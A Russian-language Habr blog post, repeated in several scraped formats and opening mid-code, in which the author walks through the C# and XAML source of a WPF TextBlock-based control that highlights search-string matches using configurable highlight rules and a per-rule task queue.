ObservableCollection<HighlightRule>(); _items.CollectionChanged += _items_CollectionChanged; } public HighlightRule this[int index] { get { return ((IList<HighlightRule>)_items)[index]; } set { ((IList<HighlightRule>)_items)[index] = value; } } object IList.this[int index] { get { return ((IList)_items)[index]; } set { ((IList)_items)[index] = value; } } public int Count { get { return ((IList<HighlightRule>)_items).Count; } } public bool IsFixedSize { get { return ((IList)_items).IsFixedSize; } } public bool IsReadOnly { get { return ((IList<HighlightRule>)_items).IsReadOnly; } } public bool IsSynchronized { get { return ((IList)_items).IsSynchronized; } } public object SyncRoot { get { return ((IList)_items).SyncRoot; } } public event NotifyCollectionChangedEventHandler CollectionChanged; public int Add(object value) { return ((IList)_items).Add(value); } public void Add(HighlightRule item) { ((IList<HighlightRule>)_items).Add(item); } public void Clear() { ((IList<HighlightRule>)_items).Clear(); } public bool Contains(object value) { return ((IList)_items).Contains(value); } public bool Contains(HighlightRule item) { return ((IList<HighlightRule>)_items).Contains(item); } public void CopyTo(Array array, int index) { ((IList)_items).CopyTo(array, index); } public void CopyTo(HighlightRule[] array, int arrayIndex) { ((IList<HighlightRule>)_items).CopyTo(array, arrayIndex); } public ICollectionView CreateView() { return new CollectionView(_items); } public IEnumerator<HighlightRule> GetEnumerator() { return ((IList<HighlightRule>)_items).GetEnumerator(); } public int IndexOf(object value) { return ((IList)_items).IndexOf(value); } public int IndexOf(HighlightRule item) { return ((IList<HighlightRule>)_items).IndexOf(item); } public void Insert(int index, object value) { ((IList)_items).Insert(index, value); } public void Insert(int index, HighlightRule item) { ((IList<HighlightRule>)_items).Insert(index, item); } public void Remove(object value) { ((IList)_items).Remove(value); } public bool Remove(HighlightRule item) { return ((IList<HighlightRule>)_items).Remove(item); } public void RemoveAt(int index) { ((IList<HighlightRule>)_items).RemoveAt(index); } IEnumerator IEnumerable.GetEnumerator() { return ((IList<HighlightRule>)_items).GetEnumerator(); } void _items_CollectionChanged(object sender, NotifyCollectionChangedEventArgs e) { CollectionChanged?.Invoke(this, e); } } [/code] Вот код правила подсветки: Заголовок спойлера [code] public class HighlightRule : DependencyObject { public delegate void HighlightTextChangedEventHandler(object sender, HighlightTextChangedEventArgs e); public event HighlightTextChangedEventHandler HighlightTextChanged; public HighlightRule() { Highlights = new ObservableCollection<Highlight>(); } /// <summary> /// Текст, который нужно подсветить /// </summary> public string HightlightedText { get { return (string)GetValue(HightlightedTextProperty); } set { SetValue(HightlightedTextProperty, value); } } public static readonly DependencyProperty HightlightedTextProperty = DependencyProperty.Register("HightlightedText", typeof(string), typeof(HighlightRule), new FrameworkPropertyMetadata(string.Empty, HighlightPropertyChanged)); public static void HighlightPropertyChanged(DependencyObject d, DependencyPropertyChangedEventArgs e) { var me = d as HighlightRule; if (me != null) me.HighlightTextChanged?.Invoke(me, new HighlightTextChangedEventArgs((string)e.OldValue, (string)e.NewValue)); } /// <summary> /// Игнорировать регистр? /// </summary> public bool IgnoreCase { get { return (bool)GetValue(IgnoreCaseProperty); } set { SetValue(IgnoreCaseProperty, value); } } public static readonly DependencyProperty IgnoreCaseProperty = DependencyProperty.Register("IgnoreCase", typeof(bool), typeof(HighlightRule), new PropertyMetadata(true)); /// <summary> /// Коллекция подсветок /// </summary> public ObservableCollection<Highlight> Highlights { get { return (ObservableCollection<Highlight>)GetValue(HighlightsProperty); } set { SetValue(HighlightsProperty, value); } } public static readonly DependencyProperty HighlightsProperty = DependencyProperty.Register("Highlights", typeof(ObservableCollection<Highlight>), typeof(HighlightRule), new PropertyMetadata(null)); } public class HighlightTextChangedEventArgs : EventArgs { public string OldText { get; } public string NewText { get; } public HighlightTextChangedEventArgs(string oldText,string newText) { OldText = oldText; NewText = newText; } } [/code] Никакой логики тут нет почти, поэтому без комментариев. Вот абстрактный класс для подсветки: [code] public abstract class Highlight : DependencyObject { public abstract void SetHighlight(Span span); public abstract void SetHighlight(TextRange range); } [/code] Мне на данный момент известно два способа подсветить фрагмент. Через Span и через TextRange. Пока что выбранный способ железно прописан в коде в процедуре подсветки, но в дальнейшем я планирую сделать это опционально. Вот наследник для подсветки фона [code] public class HighlightBackgroung : Highlight { public override void SetHighlight(Span span) { Brush brush = null; Application.Current.Dispatcher.BeginInvoke(new ThreadStart(() => { brush = Brush; })).Wait(); span.Background = brush; } public override void SetHighlight(TextRange range) { Brush brush = null; Application.Current.Dispatcher.BeginInvoke(new ThreadStart(() => { brush = Brush; })).Wait(); range.ApplyPropertyValue(TextElement.BackgroundProperty, brush); } /// <summary> /// Кисть для подсветки фона /// </summary> public Brush Brush { get { return (Brush)GetValue(BrushProperty); } set { SetValue(BrushProperty, value); } } public static readonly DependencyProperty BrushProperty = DependencyProperty.Register("Brush", typeof(Brush), typeof(HighlightBackgroung), new PropertyMetadata(Brushes.Transparent)); } [/code] Ну тут нечего комментировать, кроме безопасности потоков. Дело в том, что экземпляр должен крутиться в основном потоке, а метод может быть вызван откуда угодно. А это код подсветки цветом текста [code] public class HighlightForeground : Highlight { public override void SetHighlight(Span span) { Brush brush = null; Application.Current.Dispatcher.BeginInvoke(new ThreadStart(() => { brush = Brush; })).Wait(); span.Foreground = brush; } public override void SetHighlight(TextRange range) { Brush brush = null; Application.Current.Dispatcher.BeginInvoke(new ThreadStart(() => { brush = Brush; })).Wait(); range.ApplyPropertyValue(TextElement.ForegroundProperty, brush); } /// <summary> /// Кисть для цвета текста /// </summary> public Brush Brush { get { return (Brush)GetValue(BrushProperty); } set { SetValue(BrushProperty, value); } } public static readonly DependencyProperty BrushProperty = DependencyProperty.Register("Brush", typeof(Brush), typeof(HighlightForeground), new PropertyMetadata(Brushes.Black)); } [/code] ### Заключение Ну вот пожалуй и все. Хотелось бы услышать ваше мнение. UPDATE: Код текущей версии немного отличается от того, что сейчас на гитхабе, но в целом контрол работает по тому же принципу. Контрол создавался для .net Framework 4.0. Скрины Ссылка на GitHub
<div xmlns="http://www.w3.org/1999/xhtml">Привет Хабр! Я создал контрол на основе <i>TextBlock</i> с возможностью подсветки текста. Для начала приведу пример его использования, затем опишу, как он создавался.<br/> <br/> <div class="spoiler"><b class="spoiler_title">Пример использования контрола</b><div class="spoiler_text"><pre><code class="xml">&lt;local:HighlightTextBlock TextWrapping="Wrap"> &lt;local:HighlightTextBlock.HighlightRules> &lt;local:HighlightRule HightlightedText="{Binding Filter, Source={x:Reference thisWindow}}"> &lt;local:HighlightRule.Highlights> &lt;local:HighlightBackgroung Brush="Yellow"/> &lt;local:HighlightForeground Brush="Black"/> &lt;/local:HighlightRule.Highlights> &lt;/local:HighlightRule> &lt;/local:HighlightTextBlock.HighlightRules> &lt;Run FontWeight="Bold">Property:&lt;/Run> &lt;Run Text="{Binding Property}"/> &lt;/local:HighlightTextBlock> </code></pre><br/> </div></div><br/> <h3>Начало разработки</h3><br/> Потребовалось мне подсветить текст в <i>TextBlock</i>, введенный в строку поиска. На первый взгляд задача показалась простой. Пришло в голову разделить текст на 3 элемента <i>Run</i>, которые бы передавали в конвертер весь текст, строку поиска и свое положение (1/2/3). Средний <i>Run</i> имеет <i>Backgroung</i>. <br/> <br/> Не успел я приступить к реализации, как пришла в голову мысль, что совпадений может быть несколько. А значит такой подход не подходит.<br/> <br/> Была еще мысль формировать <i>Xaml</i> «на лету», парсить его при помощи <i>XamlReader</i> и кидать в <i>TextBlock</i>. Но эта мысль тоже сразу отвалилась, потому что попахивает.<br/> <br/> Следующей (и окончательной) идеей стало создать систему правил подсветки и прикрутить ее к <i>TextBlock</i>. Тут 2 варианта: свой контрол с блэкджеком и девочками на основе <i>TextBlock</i> или <i>AttachedProperty</i>. После недолгих раздумий, я решил, что все таки лучше создать отдельный контрол, потому что функционал подсветки может наложить некоторые ограничения на функциональность самого <i>TextBlock</i>, а разруливать это проще, если от него унаследоваться.<br/> <a name="habracut"></a><br/> <h3>Исходники готового контрола</h3><br/> Итак, приступим. Сразу предупрежу, что контрол я делал в том же проекте, где собирался тестировать первую идею, поэтому не обращайте внимание на неймспейсы. До ума такие вещи я доведу уже, когда буду включать контрол в основной проект (или буду выкладывать на гитхаб).<br/> <br/> В <i>Xaml</i> разметке контрола все чисто, за исключением обработчика события <i>Loaded</i><br/> <br/> <pre><code class="xml">&lt;TextBlock x:Class="WpfApplication18.HighlightTextBlock" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" Loaded="TextBlock_Loaded"> &lt;/TextBlock> </code></pre><br/> Переходим к коду:<br/> <br/> <div class="spoiler"><b class="spoiler_title">Заголовок спойлера</b><div class="spoiler_text"><pre><code class="cs"> public partial class HighlightTextBlock : TextBlock { // Здесь сохраняется сериализованное оригинальное наполнение TextBlock // (подсветка накладывается на оригинал и потом уже подставляется в TextBlock) string _content; // Это словарь для правил подсветки и соответствующих им очередей задач Dictionary&lt;HighlightRule, TaskQueue> _ruleTasks; /// &lt;summary> /// Коллекция правил подсветки /// &lt;/summary> public HighlightRulesCollection HighlightRules { get { return (HighlightRulesCollection)GetValue(HighlightRulesProperty); } set { SetValue(HighlightRulesProperty, value); } } public static readonly DependencyProperty HighlightRulesProperty = DependencyProperty.Register("HighlightRules", typeof(HighlightRulesCollection), typeof(HighlightTextBlock), new FrameworkPropertyMetadata(null) { PropertyChangedCallback = HighlightRulesChanged }); static void HighlightRulesChanged(DependencyObject sender, DependencyPropertyChangedEventArgs e) { var col = e.NewValue as HighlightRulesCollection; var tb = sender as HighlightTextBlock; if (col != null &amp;&amp; tb != null) { col.CollectionChanged += tb.HighlightRules_CollectionChanged; foreach (var rule in col) { rule.HighlightTextChanged += tb.Rule_HighlightTextChanged; } } } public HighlightTextBlock() { _ruleTasks = new Dictionary&lt;HighlightRule, TaskQueue>(); HighlightRules = new HighlightRulesCollection(); InitializeComponent(); } // Обработчик события на изменение коллекции правил подсветки void HighlightRules_CollectionChanged(object sender, System.Collections.Specialized.NotifyCollectionChangedEventArgs e) { switch (e.Action) { case System.Collections.Specialized.NotifyCollectionChangedAction.Add: foreach (HighlightRule rule in e.NewItems) { _ruleTasks.Add(rule, new TaskQueue(1)); SubscribeRuleNotifies(rule); BeginHighlight(rule); } break; case System.Collections.Specialized.NotifyCollectionChangedAction.Remove: foreach (HighlightRule rule in e.OldItems) { rule.HightlightedText = string.Empty; _ruleTasks.Remove(rule); UnsubscribeRuleNotifies(rule); } break; case System.Collections.Specialized.NotifyCollectionChangedAction.Reset: foreach (HighlightRule rule in e.OldItems) { rule.HightlightedText = string.Empty; _ruleTasks.Remove(rule); UnsubscribeRuleNotifies(rule); } break; } } // Подписка на события правила подсветки void SubscribeRuleNotifies(HighlightRule rule) { rule.HighlightTextChanged += Rule_HighlightTextChanged; } // Отписка от событий правила подсветки void UnsubscribeRuleNotifies(HighlightRule rule) { rule.HighlightTextChanged -= Rule_HighlightTextChanged; } // Обработчик события, которое срабатывает, когда текст для подсветки изменился void Rule_HighlightTextChanged(object sender, HighlightTextChangedEventArgs e) { BeginHighlight((HighlightRule)sender); } // Здесь запускается механизм подсвечивания в созданном мною диспетчере задач. // Смысл в том, что если текст вводится/стирается слишком быстро, // предыдущая подсветка не успеет закончить работу, поэтому новая подсветка // добавляется в очередь. Если в очереди уже что то есть, то это удаляется из очереди // и вставляется новая задача. Для каждого правила очередь своя. void BeginHighlight(HighlightRule rule) { _ruleTasks[rule].Add(new Action(() => Highlight(rule))); } // Механизм подсветки void Highlight(HighlightRule rule) { // Если передали не существующее правило, покидаем процедуру if (rule == null) return; // Так как правила у нас задаются в Xaml коде, они будут принадлежать основному потоку, в котором крутится форма, // поэтому некоторые свойства можно достать/положить только таким образом ObservableCollection&lt;Highlight> highlights = null; Application.Current.Dispatcher.Invoke(new ThreadStart(() => { highlights = rule.Highlights; })); // Даже если существует правило, но в нем не задано, чем подсвечивать, покидаем процедуру подсветки if (highlights.Count == 0) return; // Еще ряд условий для выхода из процедуры подсветки var exitFlag = false; exitFlag = exitFlag || string.IsNullOrWhiteSpace(_content); Application.Current.Dispatcher.Invoke(new ThreadStart(() => { exitFlag = exitFlag || Inlines.IsReadOnly || Inlines.Count == 0 || HighlightRules == null || HighlightRules.Count == 0; })); if (exitFlag) return; // Создадим параграф. Все манипуляции будем проводить внутри него, потому что выделить что либо // непосредственно в TextBlock нельзя, если это выделение затрагивает несколько элементов var par = new Paragraph(); // Парсим _content, в котором у нас сериализованный Span с оригинальным содержимым TextBlock'a. var parsedSp = (Span)XamlReader.Parse(_content); // Сам Span нам не нужен, поэтому сливаем все его содержимое в параграф par.Inlines.AddRange(parsedSp.Inlines.ToArray()); // Обозначаем стартовую позицию (просто для удобства) и выдергиваем из TextBlock'a голый текст. // Искать вхождения искомой строки будем именно в нем var firstPos = par.ContentStart; var curText = string.Empty; Application.Current.Dispatcher.Invoke(new ThreadStart(() => { curText = Text; })); // Выдергиваем из основного потока текст для подсветки var hlText = string.Empty; Application.Current.Dispatcher.Invoke(new ThreadStart(() => { hlText = rule.HightlightedText; })); // Если текст для подсветки не пустой и его длина не превышает длину текста, в котором ищем, // то продолжим, иначе просто выведем в конце оригинал if (!string.IsNullOrEmpty(hlText) &amp;&amp; hlText.Length &lt;= curText.Length) { // Выдергиваем в основном потоке из правила свойство IgnoreCase. // Решил логику оставиьт в основном потоке, потому что нагрузка операции очень низкая // и не стоит моего пота :) var comparison = StringComparison.CurrentCulture; Application.Current.Dispatcher.Invoke(new ThreadStart(() => { comparison = rule.IgnoreCase ? StringComparison.CurrentCultureIgnoreCase : StringComparison.CurrentCulture; })); // Формируем список индексов, откуда начинаются вхождения искомой строки в тексте var indexes = new List&lt;int>(); var ind = curText.IndexOf(hlText, comparison); while (ind > -1) { indexes.Add(ind); ind = curText.IndexOf(hlText, ind + hlText.Length, StringComparison.CurrentCultureIgnoreCase); } TextPointer lastEndPosition = null; // Проходим по всем индексам начала вхождения строки поиска в текст foreach (var index in indexes) { // Эта переменная нужна была в моих соисканиях наилучшего места для начала поиска, // ведь индекс положения в string не соответствует реальному положению TextPointer'a. // Поиск продолжается, поэтому переменную я оставил. var curIndex = index; // Начинаем поиск с последней найденной позиции либо перемещаем TextPointer вперед // на значение, равное индексу вхождения подстроки в текст var pstart = lastEndPosition ?? firstPos.GetInsertionPosition(LogicalDirection.Forward).GetPositionAtOffset(curIndex); // startInd является длиной текста между начальным TextPointer и текущей точкой начала подсветки var startInd = new TextRange(pstart, firstPos.GetInsertionPosition(LogicalDirection.Forward)).Text.Length; // В результате нам нужно, чтобы startInd был равен curIndex while (startInd != curIndex) { // Если честно, мне неще не встречались случаи, когда я обгонял startInd обгонял curIndex, однако // решил оставить продвижение назад на случай более оптимизированного алгоритма поиска if (startInd &lt; curIndex) { // Смещаем точку начала подсветки на разницу curIndex - startInd var newpstart = pstart.GetPositionAtOffset(curIndex - startInd); // Иногда TextPointer оказывается между \r и \n, в этом случае начало подсветки // сдвигается вперед. Чтобы этого избежать, двигаем его в следующую позицию для вставки if (newpstart.GetPointerContext(LogicalDirection.Forward) == TextPointerContext.ElementEnd) newpstart = newpstart.GetInsertionPosition(LogicalDirection.Forward); var len = new TextRange(pstart, newpstart).Text.Length; startInd += len; pstart = newpstart; } else { var newpstart = pstart.GetPositionAtOffset(curIndex - startInd); var len = new TextRange(pstart, newpstart).Text.Length; startInd -= len; pstart = newpstart; } } // Ищем конечную точку подсветки аналогичным способом, как для начальной var pend = pstart.GetPositionAtOffset(hlText.Length); var delta = new TextRange(pstart, pend).Text.Length; while (delta != hlText.Length) { if (delta &lt; hlText.Length) { var newpend = pend.GetPositionAtOffset(hlText.Length - delta); var len = new TextRange(pend, newpend).Text.Length; delta += len; pend = newpend; } else { var newpend = pend.GetPositionAtOffset(hlText.Length - delta); var len = new TextRange(pend, newpend).Text.Length; delta -= len; pend = newpend; } } // К сожалению, предложенным способом не получается разделить Hyperlink. // Скорее всего это придется делать вручную, но пока такой необходимости нет, // поэтому, если начальной или конечной частью подсветки мы режем гиперссылку, // то просто сдвигаем эти позиции. В общем ссылка либо полностью попадает в подсветку, // либо не попадает совсем var sHyp = (pstart?.Parent as Inline)?.Parent as Hyperlink; var eHyp = (pend?.Parent as Inline)?.Parent as Hyperlink; if (sHyp != null) pstart = pstart.GetNextContextPosition(LogicalDirection.Forward); if (eHyp != null) pend = pend.GetNextContextPosition(LogicalDirection.Backward); // Ну а тут применяем к выделению подсветки. if (pstart.GetOffsetToPosition(pend) > 0) { var sp = new Span(pstart, pend); foreach (var hl in highlights) hl.SetHighlight(sp); } lastEndPosition = pend; } } // Здесь сериализуем получившийся параграф и в основном потоке помещаем его содержимое в TextBlock var parStr = XamlWriter.Save(par); Application.Current.Dispatcher.BeginInvoke(new ThreadStart(() => { Inlines.Clear(); Inlines.AddRange(((Paragraph)XamlReader.Parse(parStr)).Inlines.ToArray()); })).Wait(); } void TextBlock_Loaded(object sender, RoutedEventArgs e) { // Здесь дергаем наполнение TextBlock'a и сериализуем его в строку, // чтобы накатывать подсветку всегда на оригинал. // Это лучше вынести в отдельный поток, но пока и так сойдет. var sp = new Span(); sp.Inlines.AddRange(Inlines.ToArray()); var tr = new TextRange(sp.ContentStart, sp.ContentEnd); using (var stream = new MemoryStream()) { tr.Save(stream, DataFormats.Xaml); stream.Position = 0; using(var reader = new StreamReader(stream)) { _content = reader.ReadToEnd(); } } Inlines.AddRange(sp.Inlines.ToArray()); // Запускаем подсветку для всех правил foreach (var rule in HighlightRules) BeginHighlight(rule); } } </code></pre><br/> </div></div><br/> Я не буду здесь описывать код, потому что комментарии, на мой взгляд, избыточны.<br/> <br/> Вот код очереди задач:<br/> <br/> <div class="spoiler"><b class="spoiler_title">Заголовок спойлера</b><div class="spoiler_text"><pre><code class="cs"> public class TaskQueue { Task _worker; Queue&lt;Action> _queue; int _maxTasks; bool _deleteOld; object _lock = new object(); public TaskQueue(int maxTasks, bool deleteOld = true) { if (maxTasks &lt; 1) throw new ArgumentException("TaskQueue: максимальное число задач должно быть больше 0"); _maxTasks = maxTasks; _deleteOld = deleteOld; _queue = new Queue&lt;Action>(maxTasks); } public bool Add(Action action) { if (_queue.Count() &lt; _maxTasks) { _queue.Enqueue(action); DoWorkAsync(); return true; } if (_deleteOld) { _queue.Dequeue(); return Add(action); } return false; } void DoWorkAsync() { if(_queue.Count>0) _worker = Task.Factory.StartNew(DoWork); } void DoWork() { lock (_lock) { if (_queue.Count > 0) { var currentTask = Task.Factory.StartNew(_queue.Dequeue()); currentTask.Wait(); DoWorkAsync(); } } } } </code></pre><br/> </div></div><br/> Здесь все довольно просто. Поступает новая задача. Если в очереди есть место, то она помещается в очередь. Иначе, если поле <i>_deleteOld == true</i>, то удаляем следующую задачу (наиболее позднюю) и помещаем новую, иначе возвращаем false (задача не добавлена).<br/> <br/> Вот код коллекции правил. По идее, можно было обойтись <i>ObservableCollection</i>, но от этой коллекции в дальнейшем может потребоваться дополнительный функционал.<br/> <br/> <div class="spoiler"><b class="spoiler_title">Заголовок спойлера</b><div class="spoiler_text"><pre><code class="cs"> public class HighlightRulesCollection : DependencyObject, INotifyCollectionChanged, ICollectionViewFactory, IList, IList&lt;HighlightRule> { ObservableCollection&lt;HighlightRule> _items; public HighlightRulesCollection() { _items = new ObservableCollection&lt;HighlightRule>(); _items.CollectionChanged += _items_CollectionChanged; } public HighlightRule this[int index] { get { return ((IList&lt;HighlightRule>)_items)[index]; } set { ((IList&lt;HighlightRule>)_items)[index] = value; } } object IList.this[int index] { get { return ((IList)_items)[index]; } set { ((IList)_items)[index] = value; } } public int Count { get { return ((IList&lt;HighlightRule>)_items).Count; } } public bool IsFixedSize { get { return ((IList)_items).IsFixedSize; } } public bool IsReadOnly { get { return ((IList&lt;HighlightRule>)_items).IsReadOnly; } } public bool IsSynchronized { get { return ((IList)_items).IsSynchronized; } } public object SyncRoot { get { return ((IList)_items).SyncRoot; } } public event NotifyCollectionChangedEventHandler CollectionChanged; public int Add(object value) { return ((IList)_items).Add(value); } public void Add(HighlightRule item) { ((IList&lt;HighlightRule>)_items).Add(item); } public void Clear() { ((IList&lt;HighlightRule>)_items).Clear(); } public bool Contains(object value) { return ((IList)_items).Contains(value); } public bool Contains(HighlightRule item) { return ((IList&lt;HighlightRule>)_items).Contains(item); } public void CopyTo(Array array, int index) { ((IList)_items).CopyTo(array, index); } public void CopyTo(HighlightRule[] array, int arrayIndex) { ((IList&lt;HighlightRule>)_items).CopyTo(array, arrayIndex); } public ICollectionView CreateView() { return new CollectionView(_items); } public IEnumerator&lt;HighlightRule> GetEnumerator() { return ((IList&lt;HighlightRule>)_items).GetEnumerator(); } public int IndexOf(object value) { return ((IList)_items).IndexOf(value); } public int IndexOf(HighlightRule item) { return ((IList&lt;HighlightRule>)_items).IndexOf(item); } public void Insert(int index, object value) { ((IList)_items).Insert(index, value); } public void Insert(int index, HighlightRule item) { ((IList&lt;HighlightRule>)_items).Insert(index, item); } public void Remove(object value) { ((IList)_items).Remove(value); } public bool Remove(HighlightRule item) { return ((IList&lt;HighlightRule>)_items).Remove(item); } public void RemoveAt(int index) { ((IList&lt;HighlightRule>)_items).RemoveAt(index); } IEnumerator IEnumerable.GetEnumerator() { return ((IList&lt;HighlightRule>)_items).GetEnumerator(); } void _items_CollectionChanged(object sender, NotifyCollectionChangedEventArgs e) { CollectionChanged?.Invoke(this, e); } } </code></pre><br/> </div></div><br/> Вот код правила подсветки:<br/> <br/> <div class="spoiler"><b class="spoiler_title">Заголовок спойлера</b><div class="spoiler_text"><pre><code class="cs"> public class HighlightRule : DependencyObject { public delegate void HighlightTextChangedEventHandler(object sender, HighlightTextChangedEventArgs e); public event HighlightTextChangedEventHandler HighlightTextChanged; public HighlightRule() { Highlights = new ObservableCollection&lt;Highlight>(); } /// &lt;summary> /// Текст, который нужно подсветить /// &lt;/summary> public string HightlightedText { get { return (string)GetValue(HightlightedTextProperty); } set { SetValue(HightlightedTextProperty, value); } } public static readonly DependencyProperty HightlightedTextProperty = DependencyProperty.Register("HightlightedText", typeof(string), typeof(HighlightRule), new FrameworkPropertyMetadata(string.Empty, HighlightPropertyChanged)); public static void HighlightPropertyChanged(DependencyObject d, DependencyPropertyChangedEventArgs e) { var me = d as HighlightRule; if (me != null) me.HighlightTextChanged?.Invoke(me, new HighlightTextChangedEventArgs((string)e.OldValue, (string)e.NewValue)); } /// &lt;summary> /// Игнорировать регистр? /// &lt;/summary> public bool IgnoreCase { get { return (bool)GetValue(IgnoreCaseProperty); } set { SetValue(IgnoreCaseProperty, value); } } public static readonly DependencyProperty IgnoreCaseProperty = DependencyProperty.Register("IgnoreCase", typeof(bool), typeof(HighlightRule), new PropertyMetadata(true)); /// &lt;summary> /// Коллекция подсветок /// &lt;/summary> public ObservableCollection&lt;Highlight> Highlights { get { return (ObservableCollection&lt;Highlight>)GetValue(HighlightsProperty); } set { SetValue(HighlightsProperty, value); } } public static readonly DependencyProperty HighlightsProperty = DependencyProperty.Register("Highlights", typeof(ObservableCollection&lt;Highlight>), typeof(HighlightRule), new PropertyMetadata(null)); } public class HighlightTextChangedEventArgs : EventArgs { public string OldText { get; } public string NewText { get; } public HighlightTextChangedEventArgs(string oldText,string newText) { OldText = oldText; NewText = newText; } } </code></pre><br/> </div></div><br/> Никакой логики тут нет почти, поэтому без комментариев.<br/> <br/> Вот абстрактный класс для подсветки:<br/> <br/> <pre><code class="cs"> public abstract class Highlight : DependencyObject { public abstract void SetHighlight(Span span); public abstract void SetHighlight(TextRange range); } </code></pre><br/> Мне на данный момент известно два способа подсветить фрагмент. Через <i>Span</i> и через <i>TextRange</i>. Пока что выбранный способ железно прописан в коде в процедуре подсветки, но в дальнейшем я планирую сделать это опционально.<br/> <br/> <div class="spoiler"><b class="spoiler_title">Вот наследник для подсветки фона</b><div class="spoiler_text"><pre><code class="cs"> public class HighlightBackgroung : Highlight { public override void SetHighlight(Span span) { Brush brush = null; Application.Current.Dispatcher.BeginInvoke(new ThreadStart(() => { brush = Brush; })).Wait(); span.Background = brush; } public override void SetHighlight(TextRange range) { Brush brush = null; Application.Current.Dispatcher.BeginInvoke(new ThreadStart(() => { brush = Brush; })).Wait(); range.ApplyPropertyValue(TextElement.BackgroundProperty, brush); } /// &lt;summary> /// Кисть для подсветки фона /// &lt;/summary> public Brush Brush { get { return (Brush)GetValue(BrushProperty); } set { SetValue(BrushProperty, value); } } public static readonly DependencyProperty BrushProperty = DependencyProperty.Register("Brush", typeof(Brush), typeof(HighlightBackgroung), new PropertyMetadata(Brushes.Transparent)); } </code></pre><br/> </div></div><br/> Ну тут нечего комментировать, кроме безопасности потоков. Дело в том, что экземпляр должен крутиться в основном потоке, а метод может быть вызван откуда угодно.<br/> <br/> <div class="spoiler"><b class="spoiler_title">А это код подсветки цветом текста</b><div class="spoiler_text"><pre><code class="cs"> public class HighlightForeground : Highlight { public override void SetHighlight(Span span) { Brush brush = null; Application.Current.Dispatcher.BeginInvoke(new ThreadStart(() => { brush = Brush; })).Wait(); span.Foreground = brush; } public override void SetHighlight(TextRange range) { Brush brush = null; Application.Current.Dispatcher.BeginInvoke(new ThreadStart(() => { brush = Brush; })).Wait(); range.ApplyPropertyValue(TextElement.ForegroundProperty, brush); } /// &lt;summary> /// Кисть для цвета текста /// &lt;/summary> public Brush Brush { get { return (Brush)GetValue(BrushProperty); } set { SetValue(BrushProperty, value); } } public static readonly DependencyProperty BrushProperty = DependencyProperty.Register("Brush", typeof(Brush), typeof(HighlightForeground), new PropertyMetadata(Brushes.Black)); } </code></pre><br/> </div></div><br/> <h3>Заключение</h3><br/> Ну вот пожалуй и все. Хотелось бы услышать ваше мнение.<br/> <br/> <b>UPDATE:</b><br/> <br/> Код текущей версии немного отличается от того, что сейчас на гитхабе, но в целом контрол работает по тому же принципу. Контрол создавался для <b>.net Framework 4.0</b>.<br/> <br/> <div class="spoiler"><b class="spoiler_title">Скрины</b><div class="spoiler_text"><img src="https://habrastorage.org/r/w1560/files/fb5/c50/c4d/fb5c50c4d5c14138a86ec6a809bd073a.png" alt="image" data-src="https://habrastorage.org/files/fb5/c50/c4d/fb5c50c4d5c14138a86ec6a809bd073a.png"/><br/> <img src="https://habrastorage.org/r/w1560/files/218/4bd/548/2184bd5485ce433395a48d55b18fcd35.png" alt="image" data-src="https://habrastorage.org/files/218/4bd/548/2184bd5485ce433395a48d55b18fcd35.png"/><br/> </div></div><br/> <br/> <a href="https://github.com/iRumba/HighlightedTextBlock">Ссылка на GitHub</a></div>
Анатолий (iRumba)
null
null
Привет Хабр! Я создал контрол на основе <i>TextBlock</i> с возможностью подсветки текста. Для начала приведу пример его использования, затем опишу, как он создавался.<br/> <br/> <div class="spoiler"><b class="spoiler_title">Пример использования контрола</b><div class="spoiler_text"><pre><code class="xml">&lt;local:HighlightTextBlock TextWrapping=&quot;Wrap&quot;&gt; &lt;local:HighlightTextBlock.HighlightRules&gt; &lt;local:HighlightRule HightlightedText=&quot;{Binding Filter, Source={x:Reference thisWindow}}&quot;&gt; &lt;local:HighlightRule.Highlights&gt; &lt;local:HighlightBackgroung Brush=&quot;Yellow&quot;/&gt; &lt;local:HighlightForeground Brush=&quot;Black&quot;/&gt; &lt;/local:HighlightRule.Highlights&gt; &lt;/local:HighlightRule&gt; &lt;/local:HighlightTextBlock.HighlightRules&gt; &lt;Run FontWeight=&quot;Bold&quot;&gt;Property:&lt;/Run&gt; &lt;Run Text=&quot;{Binding Property}&quot;/&gt; &lt;/local:HighlightTextBlock&gt; </code></pre><br/> </div></div><br/> <h3>Начало разработки</h3><br/> Потребовалось мне подсветить текст в <i>TextBlock</i>, введенный в строку поиска. На первый взгляд задача показалась простой. Пришло в голову разделить текст на 3 элемента <i>Run</i>, которые бы передавали в конвертер весь текст, строку поиска и свое положение (1/2/3). Средний <i>Run</i> имеет <i>Backgroung</i>. <br/> <br/> Не успел я приступить к реализации, как пришла в голову мысль, что совпадений может быть несколько. А значит такой подход не подходит.<br/> <br/> Была еще мысль формировать <i>Xaml</i> «на лету», парсить его при помощи <i>XamlReader</i> и кидать в <i>TextBlock</i>. Но эта мысль тоже сразу отвалилась, потому что попахивает.<br/> <br/> Следующей (и окончательной) идеей стало создать систему правил подсветки и прикрутить ее к <i>TextBlock</i>. Тут 2 варианта: свой контрол с блэкджеком и девочками на основе <i>TextBlock</i> или <i>AttachedProperty</i>. После недолгих раздумий, я решил, что все таки лучше создать отдельный контрол, потому что функционал подсветки может наложить некоторые ограничения на функциональность самого <i>TextBlock</i>, а разруливать это проще, если от него унаследоваться.<br/>
Привет Хабр! Я создал контрол на основе TextBlock с возможностью подсветки текста. Для начала приведу пример его использования, затем опишу, как он создавался. Пример использования контрола [code] <local:HighlightTextBlock TextWrapping="Wrap"> <local:HighlightTextBlock.HighlightRules> <local:HighlightRule HightlightedText="{Binding Filter, Source={x:Reference thisWindow}}"> <local:HighlightRule.Highlights> <local:HighlightBackgroung Brush="Yellow"/> <local:HighlightForeground Brush="Black"/> </local:HighlightRule.Highlights> </local:HighlightRule> </local:HighlightTextBlock.HighlightRules> <Run FontWeight="Bold">Property:</Run> <Run Text="{Binding Property}"/> </local:HighlightTextBlock> [/code] ### Начало разработки Потребовалось мне подсветить текст в TextBlock, введенный в строку поиска. На первый взгляд задача показалась простой. Пришло в голову разделить текст на 3 элемента Run, которые бы передавали в конвертер весь текст, строку поиска и свое положение (1/2/3). Средний Run имеет Backgroung. Не успел я приступить к реализации, как пришла в голову мысль, что совпадений может быть несколько. А значит такой подход не подходит. Была еще мысль формировать Xaml «на лету», парсить его при помощи XamlReader и кидать в TextBlock. Но эта мысль тоже сразу отвалилась, потому что попахивает. Следующей (и окончательной) идеей стало создать систему правил подсветки и прикрутить ее к TextBlock. Тут 2 варианта: свой контрол с блэкджеком и девочками на основе TextBlock или AttachedProperty. После недолгих раздумий, я 